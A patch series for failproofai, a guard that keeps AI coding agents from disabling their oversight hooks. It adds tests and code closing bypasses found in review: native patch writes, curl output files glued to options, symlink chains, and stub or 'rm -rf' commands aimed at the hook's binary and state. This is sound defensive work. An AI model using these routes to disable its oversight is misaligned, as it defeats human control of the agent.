a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index 1bae4220e..b2dfb75f5 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -291,6 +291,8 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a parent directory", "cp /tmp/stub.sh ../node_modules/.bin/fail*"], ["home", "cp /tmp/stub.sh ~/node_modules/.bin/fail*"], ["an absolute path", "cp /tmp/stub.sh /work/proj/node_modules/.bin/fail*"], + // A default macOS volume resolves the literal parent whatever its case. + ["an upper-case parent", "rm -rf NODE_MODULES/.BIN/f*"], // `/home/u/.failproofai` is a candidate itself; another home is not. ["the state, by an absolute path", "rm -rf /home/alice/.failproof*"], ["the state, behind `//` and `/./`", "rm -rf ~//./.failproof*"], @@ -502,6 +504,7 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["resolving the entry", "readlink -f node_modules/.bin/failproofai"], ["a clean reinstall", "rm -rf node_modules && npm ci"], ["clearing every entry", "rm -rf node_modules/.bin/*"], + ["clearing every entry under an upper-case parent", "rm -rf NODE_MODULES/.BIN/*"], ["installing dependencies", "npm install"], ["adding a dev dependency", "npm i -D vitest"], ["copying another tool into the directory", "cp /tmp/stage/my-tool node_modules/.bin/"], From 34c2eb8df21da43f6610511fe1a66afde4ef74c4 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 23:41:21 +0530 Subject: [PATCH 27/60] [hooks] Close hermes's four findings: native patches, glued outputs, line links, printed text MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit hermes's review of a0c7b1e3 (FailproofAI/failproofai#1058): - Native Codex patches. `apply_patch` is canonicalized to Edit but carries its patch in tool_input.command with no file_path, so the file-tool check read an empty path and a patch could plant node_modules/.bin/failproofai (or write the state). Every file a patch names is now checked, as given and through links: Add/Update/Delete File, Move to, unified ---/+++ paths, from any input that is not file content (OpenCode's patchText, an argv), relative to the session's directory and the call's workdir. An e2e test drives the real CLI with Codex's native payload. - Glued output files. An option word did not resolve as a path, so `cd node_modules/.bin && curl -sofailproofai ` and `curl -sohook ` (hook a link to the entry) never reached the output-flag check. Values glued to an option are now read from where the shell stands and through links: as getopt reads the cluster for curl and wget, at every split elsewhere (`gcc -o`, `tar -cf`), and a cluster over 32 letters is read as reaching the state. `curl --output=` now checks the value. - Links made on the line. They were followed after `..` had been collapsed as text, and for at most 8 hops. Paths now resolve as the kernel resolves them, one component at a time through the line's links and those on disk, each `..` after the link it follows, failing closed past 40 links. ln's directory forms (`.`, `dir/`, an existing directory, -t, several targets, one operand, -r) put the link where ln does, and a target the walk cannot read is judged by what it says. - Printed text. A `>` quoted inside a lone echo or printf (no pipe, no redirect of its own, not printf -v, no subshell, group, substitution or heredoc on the line) is text in both passes, so a command can be documented; `bash -c '…'` and `echo '…' | sh` are still read as code. Each directory is walked once and listed once, so 128 KB of option clusters is judged in under 0.1 s. No decision changed on the 12,224 strings of the other hooks tests. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- __tests__/e2e/helpers/payloads.ts | 12 + .../e2e/hooks/codex-integration.e2e.test.ts | 47 +- __tests__/hooks/guard-npx-local-bin.test.ts | 214 ++++++++ src/hooks/builtin-policies.ts | 519 +++++++++++++++--- 5 files changed, 720 insertions(+), 74 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index d05c534df..07be31af4 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -16,7 +16,7 @@ - An install of failproofai fetches one third-party package, `sql.js`, pinned to an exact version with no dependencies or install script of its own; everything else it uses is compiled into its bundles at build time from `bun.lock`. It used to declare six caret ranges, so each `npm install -g failproofai` or `npx failproofai` resolved them, and posthog-node's own ranges under them, afresh: a malicious in-range release (posthog-node was hit by Shai-Hulud 2.0 in November 2025) reached every install made after it was published, and its install script ran there. posthog-node, yaml, smol-toml, jsonc-parser and html-to-image are devDependencies now, since nothing loaded them from `node_modules` at run time, so the pin holds whichever package manager installs failproofai, and an install downloads about 1.2 MB less. `bun run build` now fails first if a runtime dependency is a range, has dependencies of its own or an install script, if a bundle leaves a package external that the install would not carry, or if the package itself gains an install script, a peer dependency or an optional dependency other than the daemon packages (#1059) - The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) - A session pause whose recorded start is more than a minute in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) -- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included), and through shell commands that write it, copy, move, link or download a file of that name (`scp`, `wget`, `curl -O` included), or put a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed), through a symlink, through a variable the same line sets, or behind a trailing redirect. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same shell fixes close four ways around the state guard: a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`), and an output file glued to curl's option (`curl -so~/.failproofai/policies-config.json `). npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) +- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included) and every file a patch names (Codex's native `apply_patch` carries no `file_path`), and through shell commands that write it, copy, move, link or download a file of that name (`scp`, `wget`, `curl -O` included), name it as a value glued to an option (`curl -so`), or put a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed), through a symlink (one the same line makes is resolved as the kernel resolves it), through a variable the same line sets, or behind a trailing redirect. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same fixes close five ways around the state guard: a native patch naming it, a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`), and an output file glued to curl's option (`curl -so~/.failproofai/policies-config.json `); and quoted text that `echo` or `printf` only prints (`echo 'cat > ~/.failproofai/policies-config.json'`) is no longer read as a redirect. npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) ### Docs diff --git a/__tests__/e2e/helpers/payloads.ts b/__tests__/e2e/helpers/payloads.ts index c9d4dac75..9b3f7381b 100644 --- a/__tests__/e2e/helpers/payloads.ts +++ b/__tests__/e2e/helpers/payloads.ts @@ -121,6 +121,18 @@ export const CodexPayloads = { tool_input: { command }, }; }, + // Codex's native file edit, as it reaches the hook: `apply_patch`, with the + // patch in `tool_input.command` and no `file_path` at all. + applyPatch(patch: string, cwd: string): Record { + return { + session_id: CODEX_SESSION_ID, + transcript_path: TRANSCRIPT_PATH, + cwd, + hook_event_name: "pre_tool_use", + tool_name: "apply_patch", + tool_input: { command: patch }, + }; + }, write(filePath: string, content: string, cwd: string): Record { // Codex aliases Edit/Write → apply_patch in matchers, so policies that // filter on toolNames: ["Write"] continue to fire for Codex. diff --git a/__tests__/e2e/hooks/codex-integration.e2e.test.ts b/__tests__/e2e/hooks/codex-integration.e2e.test.ts index 1cf82c28a..b7f77fa99 100644 --- a/__tests__/e2e/hooks/codex-integration.e2e.test.ts +++ b/__tests__/e2e/hooks/codex-integration.e2e.test.ts @@ -7,7 +7,7 @@ */ import { describe, it, expect } from "vitest"; import { execSync } from "node:child_process"; -import { mkdtempSync, writeFileSync, readFileSync, existsSync, mkdirSync, rmSync } from "node:fs"; +import { mkdtempSync, writeFileSync, readFileSync, existsSync, mkdirSync, rmSync, symlinkSync } from "node:fs"; import { tmpdir } from "node:os"; import { join, resolve, dirname } from "node:path"; import { fileURLToPath } from "node:url"; @@ -166,6 +166,51 @@ describe("E2E: Codex integration — hook protocol", () => { }); }); +// Codex edits files with its native `apply_patch`, whose patch arrives in +// `tool_input.command` with no `file_path`. A patch planting +// `node_modules/.bin/failproofai` — the file a project-scope `npx -y failproofai` +// hook runs — passed the always-on guard until every file a patch names was +// checked (found by hermes on FailproofAI/failproofai#1058). +describe("E2E: Codex integration — native apply_patch", () => { + const patchOf = (...lines: string[]) => ["*** Begin Patch", ...lines, "*** End Patch", ""].join("\n"); + + it.each([ + ["adding the entry", patchOf("*** Add File: node_modules/.bin/failproofai", "+#!/bin/sh", "+exit 0")], + ["updating the entry", patchOf("*** Update File: node_modules/.bin/failproofai", "@@", "-exec node cli.mjs", "+exit 0")], + ["moving a file onto the entry", patchOf("*** Update File: scripts/stub.sh", "*** Move to: node_modules/.bin/failproofai", "@@", "+exit 0")], + ["updating a link to the entry", patchOf("*** Update File: hook", "@@", "+exit 0")], + ])("PreToolUse: a native patch %s is denied", (_label, patch) => { + const env = createCodexEnv(); + try { + writeConfig(env.cwd, []); + mkdirSync(resolve(env.cwd, "node_modules", ".bin"), { recursive: true }); + symlinkSync(resolve(env.cwd, "node_modules", ".bin", "failproofai"), resolve(env.cwd, "hook")); + const result = runHook("PreToolUse", CodexPayloads.preToolUse.applyPatch(patch, env.cwd), { + homeDir: env.home, + cli: "codex", + }); + assertPreToolUseDeny(result); + } finally { + env.cleanup(); + } + }); + + it("PreToolUse: a native patch to project files is allowed", () => { + const env = createCodexEnv(); + try { + writeConfig(env.cwd, []); + const patch = patchOf("*** Update File: src/app.ts", "@@", "-a", "+b", "*** Add File: node_modules/.bin/my-tool", "+exit 0"); + const result = runHook("PreToolUse", CodexPayloads.preToolUse.applyPatch(patch, env.cwd), { + homeDir: env.home, + cli: "codex", + }); + assertAllow(result); + } finally { + env.cleanup(); + } + }); +}); + describe("E2E: Codex integration — install/uninstall", () => { it("policies --install --cli codex --scope project writes .codex/hooks.json with PascalCase keys", () => { const env = createCodexEnv(); diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index b2dfb75f5..5aa39403e 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -42,6 +42,21 @@ const write = async (file_path: string, cwd?: string) => }), ); +/** An `Edit` carrying a patch the way Codex's `apply_patch` does. */ +const patch = async (toolInput: Record, cwd = "/work/proj") => + (await policy.fn(makeCtx({ toolName: "Edit", toolInput, session: { cwd } }))).decision; + +/** A patch in the format Codex's `apply_patch` takes. */ +const v4a = (...lines: string[]) => ["*** Begin Patch", ...lines, "*** End Patch", ""].join("\n"); + +/** `count` option words of 32 distinct letters, each with a value glued on. */ +const optionClusters = (count: number) => + Array.from({ length: count }, (_, i) => { + let letters = ""; + for (let k = 0, n = i; k < 31; k++, n = Math.floor(n / 26) + k) letters += "abcdefghijklmnopqrstuvwxyz"[n % 26]; + return `-${letters}q${i}`; + }).join(" "); + /** * A project-scope hook is `npx -y failproofai --hook …`, so that a committed * settings file names no machine's path. npx runs a @@ -105,6 +120,54 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs expect((await write("/work/proj/node_modules//.bin/./failproofai")).decision).toBe("deny"); }); + // Codex's `apply_patch` (canonical `Edit`) carries its patch in + // `tool_input.command` and names no `file_path`; OpenCode's sends + // `patchText`. Every file a patch names is one the tool writes (found by + // hermes on FailproofAI/failproofai#1058). + describe("patches", () => { + it.each([ + ["a file it adds", { command: v4a("*** Add File: node_modules/.bin/failproofai", "+#!/bin/sh", "+exit 0") }], + ["a file it updates", { command: v4a("*** Update File: node_modules/.bin/failproofai", "@@", "-exec node cli.mjs", "+exit 0") }], + ["a file it deletes", { command: v4a("*** Delete File: node_modules/.bin/failproofai") }], + ["where it moves a file to", { command: v4a("*** Update File: scripts/stub.sh", "*** Move to: node_modules/.bin/failproofai", "@@", "+exit 0") }], + ["an absolute path", { command: v4a("*** Add File: /work/proj/node_modules/.bin/failproofai", "+exit 0") }], + ["a parent directory's entry", { command: v4a("*** Add File: ../node_modules/.bin/failproofai", "+exit 0") }], + ["a loosely spaced header", { command: v4a(" *** Add File: node_modules/.bin/failproofai ", "+exit 0") }], + ["the state", { command: v4a("*** Update File: /home/u/.failproofai/policies-config.json", "@@", "+{}") }], + ["the entry, as OpenCode's patchText", { patchText: v4a("*** Add File: node_modules/.bin/failproofai", "+exit 0") }], + ["the entry, in an argv", { command: ["apply_patch", v4a("*** Add File: node_modules/.bin/failproofai", "+exit 0")] }], + ["the entry, as a unified diff", { command: "--- a/node_modules/.bin/failproofai\n+++ b/node_modules/.bin/failproofai\n@@ -1 +1 @@\n-exec\n+exit 0\n" }], + ["the entry, from the directory the call names", { command: v4a("*** Add File: failproofai", "+exit 0"), workdir: "/work/proj/node_modules/.bin" }], + ])("denies a patch naming %s", async (_label, toolInput) => { + expect(await patch(toolInput)).toBe("deny"); + }); + + it("denies a patch naming the entry from a session standing in .bin", async () => { + expect(await patch({ command: v4a("*** Add File: failproofai", "+exit 0") }, "/work/proj/node_modules/.bin")).toBe("deny"); + }); + + it.each([ + ["a patch to project files", { command: v4a("*** Update File: src/app.ts", "@@", "-a", "+b", "*** Add File: src/new.ts", "+x") }], + ["a patch adding another package's entry", { command: v4a("*** Add File: node_modules/.bin/my-tool", "+exit 0") }], + ["a unified diff of project files", { command: "--- a/src/app.ts\n+++ b/src/app.ts\n@@ -1 +1 @@\n-a\n+b\n" }], + // What the tool writes is not a patch it applies, whatever it says. + ["an Edit whose new text quotes a header", { file_path: "docs/patching.md", old_string: "a", new_string: "*** Add File: node_modules/.bin/failproofai" }], + ])("allows %s", async (_label, toolInput) => { + expect(await patch(toolInput)).toBe("allow"); + }); + + it("allows a Write whose content quotes a header", async () => { + const result = await policy.fn( + makeCtx({ + toolName: "Write", + toolInput: { file_path: "docs/patching.md", content: "*** Update File: node_modules/.bin/failproofai\n" }, + session: { cwd: "/work/proj" }, + }), + ); + expect(result.decision).toBe("allow"); + }); + }); + describe("through links", () => { let root: string; @@ -118,6 +181,7 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs // A link into a directory below `.bin`, and one to `node_modules`. symlinkSync(join(root, "proj", "node_modules", ".bin", "sub"), join(root, "proj", "tools", "deep")); symlinkSync(join(root, "proj", "node_modules"), join(root, "proj", "nm")); + mkdirSync(join(root, "proj", "out")); }); afterAll(() => { @@ -175,6 +239,72 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs expect(await bashIn(join(root, "proj"), command)).not.toBe("deny"); }, ); + + it("denies a patch through a link to the entry or the .bin directory", async () => { + for (const file of ["tools/hook", "tools/bins/failproofai", "tools/deep/../failproofai"]) { + expect(await patch({ command: v4a(`*** Update File: ${file}`, "@@", "+exit 0") }, join(root, "proj"))).toBe("deny"); + } + }); + + // An output file glued to its option, through a link on disk (found by + // hermes on FailproofAI/failproofai#1058). + it.each([ + "curl -sohook https://example.com/x", + "curl -so./hook https://example.com/x", + "curl -sobins/failproofai https://example.com/x", + "wget -qOhook https://example.com/x", + "gcc -ohook main.c", + ])("denies an output file glued to its option through a link: %s", async (command) => { + expect(await bashIn(join(root, "proj", "tools"), command)).toBe("deny"); + }); + + it("allows a glued output file that is no link", async () => { + expect(await bashIn(join(root, "proj", "tools"), "curl -sohook.txt https://example.com/x")).not.toBe("deny"); + }); + + // Links this line makes, resolved as the kernel resolves them: each `..` + // after the link it follows, any number of them up to the kernel's 40, + // and every form of `ln` that puts one inside a directory (found by + // hermes on FailproofAI/failproofai#1058). + it.each([ + ["a `..` after a link made on the line", "ln -s node_modules/.bin/sub inline-deep; printf x > inline-deep/../failproofai"], + ["the same, after &&", "ln -s node_modules/.bin/sub inline-deep && cp /tmp/stub.sh inline-deep/../failproofai"], + [ + "a chain of ten links", + ["ln -s node_modules/.bin l1", ...Array.from({ length: 9 }, (_, i) => `ln -s l${i + 1} l${i + 2}`)].join("; ") + + "; printf x > l10/failproofai", + ], + [ + "a chain longer than the kernel follows", + ["ln -s node_modules/.bin l1", ...Array.from({ length: 44 }, (_, i) => `ln -s l${i + 1} l${i + 2}`)].join("; ") + + "; printf x > l45/failproofai", + ], + ["two links pointing at each other", "ln -s a b; ln -s b a; printf x > a/x"], + ["a link put into the current directory", "ln -s node_modules/.bin/failproofai .; printf x > failproofai"], + ["a link put into a directory with a slash", "ln -s node_modules/.bin/failproofai out/; printf x > out/failproofai"], + ["a link put into an existing directory", `ln -s ROOT/node_modules/.bin/failproofai out; printf x > out/failproofai`], + ["a link put into -t's directory", `ln -st out ROOT/node_modules/.bin/failproofai; printf x > out/failproofai`], + ["a link put into --target-directory's", `ln --symbolic --target-directory=out ROOT/node_modules/.bin/failproofai; printf x > out/failproofai`], + ["ln -s with one operand", "ln -s node_modules/.bin/failproofai; printf x > failproofai"], + ["a directory the line makes first", `mkdir newdir; ln -s ROOT/node_modules/.bin/failproofai newdir; printf x > newdir/failproofai`], + ["ln -r, which reads the target from here", "ln -sr node_modules/.bin/failproofai out/x; printf x > out/x"], + ["a target the walk cannot read, naming .bin", 'ln -s "$(npm root)/.bin" b; printf x > b/failproofai'], + ["a target the walk cannot read at all", 'ln -s "$D" b; printf x > b/failproofai'], + ["a substitution's directory, filled with what is in another", 'ln -s "$(npm root)/.bin" d; cp -r /tmp/stage/. d/'], + ])("denies a write through %s", async (_label, command) => { + expect(await bashIn(join(root, "proj"), command.replaceAll("ROOT", join(root, "proj")))).toBe("deny"); + }); + + it.each([ + "ln -s node_modules/.bin/sub d; printf x > d/../notes.txt", + "ln -s /tmp/x y; echo hi > y", + 'ln -s "$TARGET" current; echo hi > current/log.txt', + "ln -sf build/app current; ./current --version", + // A variable the line never sets is read as an unknown `cd` is. + 'ln -sfn "$RELEASE_DIR" current && cp -r shared/config current/', + ])("still allows a write through a link made on the line: %s", async (command) => { + expect(await bashIn(join(root, "proj"), command)).not.toBe("deny"); + }); }); // The entry, and nothing else that lives beside it or shares its name. @@ -494,6 +624,69 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs expect(await bashIn(cwd, command)).not.toBe("deny"); }); + // A value glued to its option is a path, read from where the shell stands + // like any other (found by hermes on FailproofAI/failproofai#1058). Where a + // command's value-taking letters are known the cluster is read as getopt + // reads it; elsewhere every split of it is tried. + it.each([ + ["/work/proj/node_modules/.bin", "curl -sofailproofai https://example.com/x"], + ["/work/proj/node_modules/.bin", "curl --output=failproofai https://example.com/x"], + ["/work/proj/node_modules/.bin", "wget -Ofailproofai https://example.com/x"], + ["/work/proj/node_modules/.bin", "wget -qOfailproofai https://example.com/x"], + ["/work/proj/node_modules/.bin", "wget --output-document=failproofai https://example.com/x"], + ["/work/proj/node_modules/.bin", "sort -ofailproofai notes.txt"], + ["/work/proj/node_modules/.bin", "gcc -ofailproofai main.c"], + ["/work/proj/node_modules/.bin", "tar -cffailproofai src"], + ["/work/proj/node_modules/.bin", "curl -" + "s".repeat(40) + "ofailproofai https://example.com/x"], + // A cluster longer than anyone writes is not tried at every split. + ["/work/proj/node_modules/.bin", "foo -" + "a".repeat(40) + "ofailproofai"], + ["/work/proj", "cd node_modules/.bin && curl -sofailproofai https://example.com/x"], + ["/work/proj", "D=failproofai; cd node_modules/.bin && curl -so$D https://example.com/x"], + ])("denies an output file glued to its option from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).toBe("deny"); + }); + + it.each([ + ["/work/proj/node_modules/.bin", "curl -somy-tool https://example.com/x"], + ["/work/proj/node_modules/.bin", "grep -ffailproofai notes.txt"], + ["/work/proj", "gcc -O2 -Wall -o build/app main.c"], + ["/work/proj", "tar -czf backup.tgz src"], + ["/work/proj", "curl -sSfL -o /tmp/x https://example.com/x"], + ["/work/proj", "git log --format=%h -n 5"], + ])("allows option values from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).not.toBe("deny"); + }); + + // `echo` and `printf` print quoted text and run none of it, so documenting + // a command is not running it (found by hermes on + // FailproofAI/failproofai#1058). Text a shell does run is still read as + // one, and so is a real redirect. + it.each([ + "echo 'cat > node_modules/.bin/failproofai'", + "printf '%s\\n' '> node_modules/.bin/failproofai'", + 'echo "cat > node_modules/.bin/failproofai"', + "echo 'cat > ~/.failproofai/policies-config.json'", + "echo 'never run: cat > node_modules/.bin/failproofai' && npm test", + ])("allows printing a command as text: %s", async (command) => { + expect(await bash(command)).toBe("allow"); + }); + + it.each([ + "bash -c 'printf x > node_modules/.bin/failproofai'", + "echo 'printf x > node_modules/.bin/failproofai' | sh", + "echo 'printf x > node_modules/.bin/failproofai' |& sh", + "echo 'printf x > node_modules/.bin/failproofai' > /tmp/s.sh && sh /tmp/s.sh", + "printf -v c 'printf x > node_modules/.bin/failproofai'; eval \"$c\"", + "(echo 'printf x > node_modules/.bin/failproofai') | sh", + "{ echo 'printf x > node_modules/.bin/failproofai'; } | sh", + "xargs -I{} sh -c {} <<'EOF'\necho 'printf x > node_modules/.bin/failproofai'\nEOF", + "/tmp/bin/echo 'printf x > node_modules/.bin/failproofai'", + "echo 'exit 0' > node_modules/.bin/failproofai", + 'echo x >node_modules/.bin/fail"proof"ai', + ])("denies quoted text something runs, or a real redirect: %s", async (command) => { + expect(await bash(command)).toBe("deny"); + }); + it.each([ ["running another package's binary", "./node_modules/.bin/vitest run"], ["running a binary through node", "node node_modules/.bin/eslint src"], @@ -630,6 +823,27 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs await bash(command); expect(performance.now() - started).toBeLessThan(3000); }); + + // From a directory on disk, where a glued value may be a link: one per + // letter of a long line's option words was a second of path walks. + it.each([ + ["128 KB of distinct option clusters, each with a value glued on", "foo " + optionClusters(3_700)], + ["curl with 128 KB of glued output files", "curl " + optionClusters(3_700).replaceAll(" -", " -so")], + ["a chain of 2,000 links made on the line", Array.from({ length: 2000 }, (_, i) => `ln -s l${i} l${i + 1}`).join("; ") + "; printf x > l2000/x"], + ["1,000 links put into a directory, each written through", Array.from({ length: 1000 }, (_, i) => `ln -s /tmp/t${i} out/; printf x > out/t${i}`).join("; ")], + ["128 KB of echo with quoted redirects", Array.from({ length: 6_000 }, (_, i) => `echo 'a > b${i}'`).join("; ")], + ])("judges %s from a directory on disk in bounded time", async (_label, command) => { + const started = performance.now(); + await bashIn(tmpdir(), command); + expect(performance.now() - started).toBeLessThan(3000); + }); + + it("judges a patch naming 7,000 files in bounded time", async () => { + const files = Array.from({ length: 7_000 }, (_, i) => `*** Add File: src/f${i}.ts\n+x`); + const started = performance.now(); + expect(await patch({ command: v4a(...files) }, tmpdir())).toBe("allow"); + expect(performance.now() - started).toBeLessThan(3000); + }); }); // The guard protects the entry by NAME, so it has to be the name every diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 732cbd765..832af92f3 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -2,7 +2,7 @@ * Built-in security policies for Claude Code hooks. */ import { resolve, join } from "node:path"; -import { lstatSync, readlinkSync, statSync } from "node:fs"; +import { lstatSync, readdirSync, readlinkSync, statSync } from "node:fs"; import { readFile, writeFile } from "node:fs/promises"; import { execSync, execFileSync } from "node:child_process"; import { homedir } from "node:os"; @@ -1850,7 +1850,7 @@ function writesViaOutputFlag(head: string, args: string[], namesState: (text: st for (let i = 0; i < args.length; i++) { const arg = args[i]; const long = flags.find((f) => f.startsWith("--") && arg.startsWith(`${f}=`)); - if (long && namesState(arg)) return true; + if (long && (namesState(arg) || namesState(arg.slice(long.length + 1)))) return true; const bundled = /^-[A-Za-z]*[oD]$/.test(arg) && flags.includes(`-${arg[arg.length - 1]}`); if ((flags.includes(arg) || bundled) && namesState(args[i + 1] ?? "")) return true; // Or the value glued on, after the option alone or at the end of a @@ -1870,6 +1870,41 @@ const WGET_VALUE_OPTIONS = "eoaiBtOTwQPlARDIXU"; /** curl's short options that take a value (`curl --help all`, curl 8). */ const CURL_VALUE_OPTIONS = "AbcCdDEeFHKmoPQrTtuUwxXyYz"; +/** Short options that take a value, for the commands whose list is known. */ +const SHORT_VALUE_OPTIONS: Record = { curl: CURL_VALUE_OPTIONS, wget: WGET_VALUE_OPTIONS }; + +/** More letters than a short-option cluster has when written to be read. */ +const MAX_OPTION_CLUSTER = 32; + +/** + * The values an option word may carry glued on, each a path the command may + * write: `--output=`, and the rest of a short-option cluster, + * `curl -so`. Where a command's value-taking letters are known the + * cluster is read as getopt reads it, flags up to the first letter that takes + * a value; elsewhere any letter may take one (`gcc -o`, `tar -cf`), + * so the rest of the word after each letter is a candidate. `null` for a + * cluster longer than `MAX_OPTION_CLUSTER`, which is read as reaching the + * state rather than tried at every split. + */ +function gluedOptionValues(head: string, word: string): string[] | null { + if (word.startsWith("--")) { + const eq = word.indexOf("="); + return eq > 2 && eq < word.length - 1 ? [word.slice(eq + 1)] : []; + } + if (!/^-[A-Za-z]/.test(word)) return []; + const known = SHORT_VALUE_OPTIONS[head]; + const values: string[] = []; + for (let c = 1; c < word.length - 1 && /[A-Za-z]/.test(word[c]); c++) { + if (known !== undefined) { + if (known.includes(word[c])) return [word.slice(c + 1)]; + continue; + } + if (c > MAX_OPTION_CLUSTER) return null; + values.push(word.slice(c + 1)); + } + return values; +} + /** * The files a download names after its URL rather than on the line, as * `{dir, name}`: `wget `, and `curl -O` / `--remote-name`, save the URL's @@ -2107,23 +2142,83 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // Where else the shell may stand: not where it certainly is. const possible = (list: Where[]): Where[] => fold(list.filter((where) => !sameWhere(where, at)), MAX_ALTERNATE_DIRS); // Symlinks this line makes (`ln -s `), which no `lstat` sees - // yet, followed the way the kernel does: the first component that is one is - // replaced by where it points, and the result is walked again. + // yet: keyed by where the link really is, holding its target as written. const links = new Map(); - const followLinks = (path: string): string => { - let linked = path; - for (let hops = 0; hops < 8 && links.size > 0; hops++) { - let next: string | undefined; - for (let i = linked.indexOf("/", 1); next === undefined; i = linked.indexOf("/", i + 1)) { - const prefix = i === -1 ? linked : linked.slice(0, i); - const target = links.get(prefix); - if (target !== undefined) next = target + linked.slice(prefix.length); - if (i === -1) break; + // Where an absolute path really is, as the kernel resolves it: one component + // at a time from the root, each link (this line's or one on disk) replaced + // by its target where it is met, and each `..` taken from the directory + // reached so far. So `inline/../failproofai` through a link to + // `node_modules/.bin/sub` is `.bin/failproofai`, which collapsing `..` as + // text first read as `./failproofai` (found by hermes on + // FailproofAI/failproofai#1058). Past 40 links (the kernel's MAXSYMLINKS) + // the write fails, but where it was headed is unknown, so that is `ELOOP` + // and read as landing on the state. Through a link whose target is a + // substitution or a variable the walk cannot read, `{ via, lost }` is that + // target as written and what remains of the path after it. + const ELOOP = Symbol("ELOOP"); + type Lost = { via: string; lost: string }; + type RealPath = string | typeof ELOOP | Lost; + type Walk = { reached: string; hops: number } | typeof ELOOP | Lost; + // The kernel's walk from `reached` ("" is the root) with `hops` links + // already followed, over the components still `pending`. + const walkFrom = (reached: string, hops: number, pending: string[]): Walk => { + while (pending.length > 0) { + const part = pending.shift()!; + if (part === "" || part === ".") continue; + if (part === "..") { + reached = reached.slice(0, reached.lastIndexOf("/")); + continue; } - if (next === undefined) break; - linked = shellPath(undefined, next); + const next = `${reached}/${part}`; + let target = links.get(next); + const made = target !== undefined; + if (!made) { + try { + if (lstatSync(next).isSymbolicLink()) target = readlinkSync(next); + } catch { + // Missing or unreadable: a plain name once created, so walk on. + } + } + if (target === undefined) { + reached = next; + continue; + } + if (made && /[$`]/.test(target)) return { via: target, lost: pending.filter((p) => p !== "").join("/") }; + if (++hops > 40) return ELOOP; + if (target.startsWith("/")) reached = ""; + pending.unshift(...target.split("/")); + } + return { reached, hops }; + }; + // Each directory is walked once: every word read from the same place shares + // it, and the option values glued into a long command line are many words. + const directoryWalks = new Map(); + const realPaths = new Map(); + const realPath = (raw: string): RealPath => { + // Longer than PATH_MAX, no write can open it, and walking it on disk one + // component at a time cost a second for a 128 KB word of `a/a/a/…`. + if (raw.length > PATH_MAX_BYTES) return shellPath(undefined, raw); + let real = realPaths.get(raw); + if (real !== undefined) return real; + const cut = raw.lastIndexOf("/"); + const name = raw.slice(cut + 1); + let walked: Walk; + if (cut > 0 && name !== "" && name !== "." && name !== "..") { + const directory = raw.slice(0, cut); + let parent = directoryWalks.get(directory); + if (parent === undefined) directoryWalks.set(directory, (parent = walkFrom("", 0, directory.split("/")))); + walked = + parent === ELOOP + ? ELOOP + : "reached" in parent + ? walkFrom(parent.reached, parent.hops, [name]) + : { via: parent.via, lost: parent.lost === "" ? name : `${parent.lost}/${name}` }; + } else { + walked = walkFrom("", 0, raw.split("/")); } - return linked; + real = walked === ELOOP || !("reached" in walked) ? walked : walked.reached || "/"; + realPaths.set(raw, real); + return real; }; // A relative word read from `base`, and `//`, `.` and `..` resolved in any. @@ -2178,9 +2273,9 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) const resolvesOntoState = (text: 